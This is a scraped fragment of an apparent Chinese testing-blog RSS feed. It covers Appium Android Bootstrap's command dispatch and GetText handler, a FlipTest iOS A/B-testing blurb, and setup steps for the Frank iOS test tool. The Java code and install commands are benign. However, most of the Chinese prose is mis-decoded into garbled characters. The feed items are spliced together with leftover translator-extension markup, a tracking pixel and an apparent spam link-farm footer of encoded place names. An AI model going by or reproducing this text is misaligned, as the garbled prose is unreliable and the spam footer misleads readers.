style="word-break: break-all; margin: 10px 0px;">map.put("touchLongClick", new TouchLongClick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchDown", new TouchDown());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchUp", new TouchUp());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchMove", new TouchMove());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getText", new GetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("setText", new SetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getName", new GetName());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getAttribute", new GetAttribute());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDeviceSize", new GetDeviceSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("scrollTo", new ScrollTo());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("find", new Find());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getLocation", new GetLocation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getSize", new GetSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("wake", new Wake());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressBack", new PressBack());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressKeyCode", new PressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("longPressKeyCode", new LongPressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("takeScreenshot", new TakeScreenshot());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("updateStrings", new UpdateStrings());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDataDir", new GetDataDir());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("performMultiPointerGesture", new MultiPointerGesture());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("openNotification", new OpenNotification());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("source", new Source());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  ˜q™ä¸ªmap指定了我们支持的pc端过来的所有actionåQŒä»¥åŠå¯¹åº”的处理该action的类的实例,其实˜q™äº›¾c»éƒ½æ˜¯CommandHandler的子¾cÕdŸºæœ¬ä¸Šž®±åªæœ‰ä¸€ä¸ªï¼šåŽÕd®žçްCommandHandler的虚拟方法executeåQè¦åšçš„事情ž®±å¤§æ¦‚å°±˜q™å‡ ¾c»ï¼š</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  控äšg相关的actionåQšè°ƒç”¨AndroidElement控äšg的成员变量UiObject el对应的方法来执行真实的操ä½?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  UiDevice相关的actionåQšè°ƒç”¨UiDevice提供的方æ³?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  UiScrollable相关的actionåQšè°ƒç”¨UiScrollable提供的方æ³?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  UiAutomatoré‚?个对象都没有的actionåQšè¯¥è°ƒç”¨InteractionController的就反射调用åQŒè¯¥è°ƒç”¨QueryController的就反射调用。注意这两个¾c»UiAutomator是没有提供直接调用的æ–ÒŽ³•的,所以只能通过反射。更多这两个¾cȝš„信息è¯ïL¿»çœ‹ä¹‹å‰çš„UiAutomator源码分析相关的文ç«?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  其他åQšå¦‚取得compressedLayoutHierarchy</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  指导action向CommandHandler真正发生转换的地æ–ÒŽ˜¯åœ¨è¿™ä¸ªAndroidCommandExecutorçš„executeæ–ÒŽ³•中:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command) {</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.debug("Got command action: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">if (map.containsKey(command.action())) {</div><div style="word-break: break-all; margin: 10px 0px;">return map.get(command.action()).execute(command);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,</div><div style="word-break: break-all; margin: 10px 0px;">"Unknown command: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final JSONException e) {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.error("Could not decode action/params of command");</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,</div><div style="word-break: break-all; margin: 10px 0px;">"Could not decode action/params of command, please check format!");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  它首先叫上面的AndroidCommand解析器把json字串的action¾l™è§£æžå‡ºæ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  然后通过刚提到的map把这个action对应的CommandHandler的实现类¾l™å®žä¾‹åŒ–</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  然后调用˜q™ä¸ªå‘½ä×o处理¾cȝš„executeæ–ÒŽ³•开始执行命ä»?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  <strong style="word-break: break-all; line-height: normal !important;">3. 命ä×o处理½CÞZ¾‹</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  我们˜q™é‡Œž®Þq¤ºä¾‹æ€§çš„看下getText˜q™ä¸ªaction对应的CommandHandler是怎么去通过AndroidElement控äšg˜q›è¡Œè®„¡½®æ–‡æœ¬çš„处理的åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public class GetText extends CommandHandler {</div><div style="word-break: break-all; margin: 10px 0px;">/*</div><div style="word-break: break-all; margin: 10px 0px;">* @param command The {@link AndroidCommand} used for this handler.</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @return {@link AndroidCommandResult}</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @throws JSONException</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.</div><div style="word-break: break-all; margin: 10px 0px;">* bootstrap.AndroidCommand)</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">@Override</div><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command)</div><div style="word-break: break-all; margin: 10px 0px;">throws JSONException {</div><div style="word-break: break-all; margin: 10px 0px;">if (command.isElementCommand()) {</div><div style="word-break: break-all; margin: 10px 0px;">// Only makes sense on an element</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">final AndroidElement el = command.getElement();</div><div style="word-break: break-all; margin: 10px 0px;">return getSuccessResult(el.getText());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final UiObjectNotFoundException e) {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,</div><div style="word-break: break-all; margin: 10px 0px;">e.getMessage());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final Exception e) { // handle NullPointerException</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unknown error");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unable to get text without an element.");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  关键代码ž®±æ˜¯é‡Œé¢é€šè¿‡AndroidCommandçš„getElementæ–ÒŽ³•åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  解析传进来的AndroidCommand实例保存的pc端过来的json字串åQŒæ‰¾åˆ?#8217;params‘™å¹çš„子项’elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  通过˜q™ä¸ªèŽ·å¾—çš„idåŽÀLŽ§ä»¶å“ˆå¸Œè¡¨åQˆè¯·æŸ¥çœ‹ã€ŠAppium Android Bootstrap源码分析之控件AndroidElement》)中找到目标AndroidElement控äšg对象</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  然后调用获得的AndroidElement控äšg对象的getTextæ–ÒŽ³•åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  最¾lˆé€šè¿‡è°ƒç”¨AndroidElement控äšg成员UiObject控äšg对象的getTextæ–ÒŽ³•取得控äšg文本信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"> <strong style="word-break: break-all; line-height: normal !important;"> 4. ž®ç»“</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  bootstrap接收到appium从pc端发送过来的json格式的键值对字串有多个项åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  cmd: ˜q™æ˜¯ä¸€ä¸ªaction˜q˜æ˜¯ä¸€ä¸ªshutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  actionåQšå¦‚果是一个action的话åQŒé‚£ä¹ˆæ˜¯ä»€ä¹ˆactionåQŒæ¯”如click</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  params:拥有其他的一些子™å¹ï¼Œæ¯”如指定操作控äšg在AndroidElementHash¾l´æŠ¤çš„æŽ§ä»¶å“ˆå¸Œè¡¨çš„æŽ§ä»‰™”®å€¼çš„'elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  在收到这个json格式命ä×o字串后:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  AndroidCommandExecutor会调用AndroidCommand去解析出对应的action</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  然后把action去map到对应的真实命ä×o处理æ–ÒŽ³•CommandHandler的实现子¾cÕd¯¹è±¡ä¸­</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  然后调用对应的对象的executeæ–ÒŽ³•来执行命ä»?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">相关文章åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap源码分析之简ä»?/div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap之控件AndroidElement</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div class="wmqeeuq" id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/wx.jpg) no-repeat;"></div></a></div></div> <div><div class="wmqeeuq" id="SL_button" class="ImTranslatorLogo" style="display: block; left: 552px; top: 2965px; opacity: 0.4; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div class="wmqeeuq" id="SL_shadow_translation_result2" style="display: none;"></div><div class="wmqeeuq" id="SL_shadow_translator" style="display: none;"><div class="wmqeeuq" id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div class="wmqeeuq" id="SL_TB"><div class="wmqeeuq" id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div class="wmqeeuq" id="SL_lng_from">English »</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simp)</option><option value="zh-TW">Chinese (Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center"> </td><td class="SL_td" width="8%" align="center"><div class="wmqeeuq" id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div class="wmqeeuq" id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div class="wmqeeuq" id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div class="wmqeeuq" id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div class="wmqeeuq" id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div class="wmqeeuq" id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div class="wmqeeuq" id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div class="wmqeeuq" id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div class="wmqeeuq" id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a> : <a target="_blank" class="SL_options" title="ImTranslator Help">Help</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div class="wmqeeuq" id="SL_player" style="display: none; height: 0px; width: 0px;"></div><div class="wmqeeuq" id="SL_alert100" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.aygfsteel.com/qileilove/aggbug/421668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/qileilove/" target="_blank">™åºå…¶è‡ªç„¶EVO</a> 2014-12-23 00:25 <a href="http://www.aygfsteel.com/qileilove/archive/2014/12/23/421668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Fliptest—iOS 的应用A/B‹¹‹è¯•框架http://www.aygfsteel.com/qileilove/archive/2014/12/23/421666.html™åºå…¶è‡ªç„¶EVO™åºå…¶è‡ªç„¶EVOMon, 22 Dec 2014 16:22:00 GMThttp://www.aygfsteel.com/qileilove/archive/2014/12/23/421666.htmlhttp://www.aygfsteel.com/qileilove/comments/421666.htmlhttp://www.aygfsteel.com/qileilove/archive/2014/12/23/421666.html#Feedback0http://www.aygfsteel.com/qileilove/comments/commentRss/421666.htmlhttp://www.aygfsteel.com/qileilove/services/trackbacks/421666.html
 FlipTest是专为iOS设计çš?a target="_self" style="word-break: break-all; color: #202859;">¿UÕdŠ¨åº”ç”¨A/B‹¹‹è¯•框架åQŒé€šè¿‡å®ƒï¼Œå¼€å‘者可以无需重新向App Store提交应用或重构代码,只需æ·ÕdŠ ä¸€è¡Œä»£ç ï¼Œå›_¯ç›´æŽ¥åœ¨iOS应用上进行A/B‹¹‹è¯•。对¿UÕdŠ¨åº”ç”¨å?A/B ‹¹‹è¯•是非帔Rš¾çš„,è€?FlipTest 可以帮你½Ž€åŒ–这个过½E‹ã€?/div>
  对于惌™¦˜q½æ±‚UI极致的开发者而言åQŒFlipTest¾lå¯¹æ˜¯æœ€åˆé€‚çš„‹¹‹è¯•框架。FlipTestä¼šäØ“åº”ç”¨é€‰æ‹©æœ€æ°å½“çš„ç”¨æˆïL•Œé¢ï¼Œ˜q˜ä¼šåŸÞZºŽå¤–观、可用性等众多因素˜q”还‹¹‹è¯•¾l“æžœåQŒä»Žè€Œå¸®åŠ©å¼€å‘è€…å½»åº•è§£å†³UI问题ã€?/div>


]]>iOS功能‹¹‹è¯•工具 Frankhttp://www.aygfsteel.com/qileilove/archive/2014/12/23/421667.html™åºå…¶è‡ªç„¶EVO™åºå…¶è‡ªç„¶EVOMon, 22 Dec 2014 16:22:00 GMThttp://www.aygfsteel.com/qileilove/archive/2014/12/23/421667.htmlhttp://www.aygfsteel.com/qileilove/comments/421667.htmlhttp://www.aygfsteel.com/qileilove/archive/2014/12/23/421667.html#Feedback0http://www.aygfsteel.com/qileilove/comments/commentRss/421667.htmlhttp://www.aygfsteel.com/qileilove/services/trackbacks/421667.html  Frank也是一‹Æ¾æ·±å—开发者喜çˆÞqš„iOS应用‹¹‹è¯•框架åQŒè¯¥æ¡†æž¶å¯ä»¥æ¨¡æ‹Ÿç”¨æˆ·æ“ä½œå¯¹åº”用程序进è¡?/span>黑盒‹¹‹è¯•åQŒåƈ使用Cucumberä½œäØ“è‡ªç„¶è¯­è¨€æ¥ç¼–å†?/span>‹¹‹è¯•用例。此外,Frank˜q˜ä¼šå¯¹åº”用测试操作进行记录,以帮助开发者进行测试回™å¾ã€?/span>
  一、基本介¾l?/strong>
  Frank是ios开发环境下一‹Æ‘Ö®žçŽ°è‡ªåŠ¨æµ‹è¯•çš„å·¥å…·ã€?/div>
  Xcode环境下开发完成后åQŒé€šè¿‡Frank实现¾l“构化的‹¹‹è¯•用例åQŒå…¶åº•层语言ä¸?a target="_self" style="word-break: break-all; color: #202859;">Ruby。作ä¸ÞZ¸€‹Æ‘Ö¼€æºçš„iOS‹¹‹è¯•工具åQŒåœ¨å›½å¤–已经有广泛的应用。但是国内相兌™µ„料却比较ž®‘。其最大的优点是允许我们用熟悉的自然语­a€å®žçŽ°å®žé™…çš„æ“ä½œé€»è¾‘ã€?/div>
  一般而言åQŒæµ‹è¯•文件由一ä¸?featureæ–‡äšg和一ä¸?rbæ–‡äšg¾l„成ã€?featureæ–‡äšg包含的是‹¹‹è¯•操作的自然语­a€æè¿°éƒ¨åˆ†åQŒå†…部可以包含多个测试用例,以标½{¾ï¼ˆ@tagnameåQ‰çš„形式唯一标识åQŒæ¯ä¸ªç”¨ä¾‹çš„首行必须有Scenario: some descriptionåQ?rbæ–‡äšg则是ruby实现逻辑åQŒé€šè¿‡æ­£åˆ™è¡¨è¾¾å¼åŒ¹é…?featureæ–‡äšg中的每一句自然语­a€åQŒç„¶åŽæ‰§è¡Œç›¸åº”的逻辑操作åQŒæœ€¾lˆå®žçŽ°è‡ªåŠ¨æµ‹è¯•çš„ç›®çš„ã€?/div>
  二、安�/strong>
  1.       Terminal 输入sudo gem install frank-cucumber,下蝲òq¶å®‰è£…Frank
  2.       Terminal ˜q›å…¥å·¥ç¨‹æ‰€åœ¨èµ\径,工程根目å½?/div>
  3.       输入åQšfrank-skeletonåQŒä¼šåœ¨å·¥½E‹æ ¹ç›®å½•新徏Frankæ–‡äšgå¤?/div>
  4.       ˜q”回Xcode界面åQŒå³é”®Targets下的APPåQŒé€‰æ‹©å¤åˆ¶åQŒDuplicate only
  5.       双击APPname copyåQŒæ›´æ”¹å‰¯æœ¬ååQŒä¾‹å¦?Appname Frankified
  6.       叛_‡»APPåQŒAdd Files to Appname……
  7.       å‹ùN€‰å‰¯æœ¬ï¼Œå…¶ä½™å–消选定。选择新徏的Frankæ–‡äšg夹,Add.
  8.       选择APPåQŒä¸­é—´éƒ¨åˆ†Build Phases选项卡,Link Binary With LibrariesàCFNetwork.frameworkåQŒAdd.
  9.       依旧中间部分åQŒé€‰æ‹©Build Settings选项卡,Other Linker FlagsåQŒåŒå‡»ï¼Œæ·ÕdŠ “-all_load”å’?#8220;ObjC”
  10.   左上角,Scheme SelectoråQŒåœ¨RUNå’ŒSTOP按钮的右边,选择Appname copy-IPHONE
  11.   ‹¹è§ˆå™¨ä¸­æ‰“å¼€http://localhost:37265åQŒå¯ä»¥åœ¨‹¹è§ˆå™¨ä¸­çœ‹åˆ°æ¤å…¥Frank的应ç”?/div>
  我在æ·ÕdŠ äº†ä¸¤ä¸ªflag之后老是报错åQŒå°è¯•了N¿Uæ–¹æ³•之后烦性全部删掉,¾l“æžœž®±å¯ä»¥äº†åQŒæ— è¯?/div>
  三、基本步�/strong>
  1.       terminal 切换到Frankæ–‡äšgå¤Òމ€åœ¨ç›®å½?/div>
  2.       frank launch, 打开simulatoråQŒå¼€å§‹è¿è¡?默认是用IPHONE simulator,要用IPAD simulatoræ—Óž¼Œéœ€è¦å¦‚下命令行åQŒæ·»åŠ å‚æ•ŽÍ¼šfrank launch --idiom ipad)
  3.       cucumber Frank/features/my_first.feature --tags @tagname åQˆæ³¨æ„tags前面两个‘-’åQ‰PS:如果没有tag则自动运行文件中所有case


]]> Ö÷Õ¾Ö©Öë³ØÄ£°å£º ¶«¹âÏØ| ʲÚúÊÐ| èÈÑôÏØ| ÍûÚÓÏØ| ±¾Ïª| ÒË´¨ÏØ| ´óÒØÏØ| É̶¼ÏØ| ¸ßÑôÏØ| Êæ³ÇÏØ| ¹ã²ýÏØ| Î×É½ÏØ| ÔÀÆÕºþÏØ| °°É½ÊÐ| ÓÈÏªÏØ| ÈÄÆ½ÏØ| ´ó³ÇÏØ| À×É½ÏØ| ¸ÄÔòÏØ| ÕѾõÏØ| ×ÊÐËÊÐ| ñçÑôÊÐ| ͨºÓÏØ| Ï¢·éÏØ| ¼ÎºÌÏØ| Á½µ±ÏØ| Î÷²ýÊÐ| Ǩ°²ÊÐ| ÑôÎ÷ÏØ| ¶î¶û¹ÅÄÉÊÐ| ӥ̶ÊÐ| Ã×Ö¬ÏØ| ÕżҸÛÊÐ| ÐÇ×ù| È«ÖÝÏØ| ÌïÑôÏØ| ±ÈÈçÏØ| ÀÖÍ¤ÏØ| ¿¦Ê²ÊÐ| µÂ°²ÏØ| ÄÏ¿µÊÐ|